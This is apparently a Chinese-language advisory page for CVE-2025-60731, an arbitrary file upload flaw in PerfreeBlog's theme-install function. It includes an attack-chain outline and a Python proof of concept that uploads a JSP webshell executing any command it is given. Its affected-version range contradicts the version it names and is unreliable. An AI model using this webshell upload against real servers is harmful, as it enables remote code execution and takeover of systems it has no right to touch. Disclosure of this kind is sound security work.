CVE-2025-60731 CVSS 7.6 高危

CVE-2025-60731 PerfreeBlog v4.0.11 installTheme函数任意文件上传漏洞

披露日期: 2025-10-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-60731

漏洞类型

任意文件上传

CVSS评分

7.6 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

PerfreeBlog v4.0.11

漏洞概述

PerfreeBlog v4.0.11版本中存在一个任意文件上传漏洞，该漏洞位于installTheme函数中。攻击者可以通过构造恶意的文件上传请求，上传任意文件到服务器，从而可能导致远程代码执行。

技术细节

该漏洞源于installTheme函数未对上传的文件类型和内容进行充分的验证。攻击者可以上传包含恶意代码的文件（如webshell），并在成功上传后通过访问该文件来执行任意代码。

攻击链分析

STEP 1

步骤1

识别目标系统运行PerfreeBlog v4.0.11版本

STEP 2

步骤2

访问主题安装功能点

STEP 3

步骤3

构造恶意文件（webshell）并上传

STEP 4

步骤4

访问上传的文件路径执行恶意代码

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import os

url = 'http://target.com/api/theme/install'
payload = {'file': ('shell.jsp', '<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));%><% } %>', 'application/octet-stream')}
response = requests.post(url, files=payload)
print(response.text)

影响范围

PerfreeBlog < 4.0.11

防御指南

临时缓解措施

如果无法立即升级，可临时禁用主题安装功能，或限制上传文件类型

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表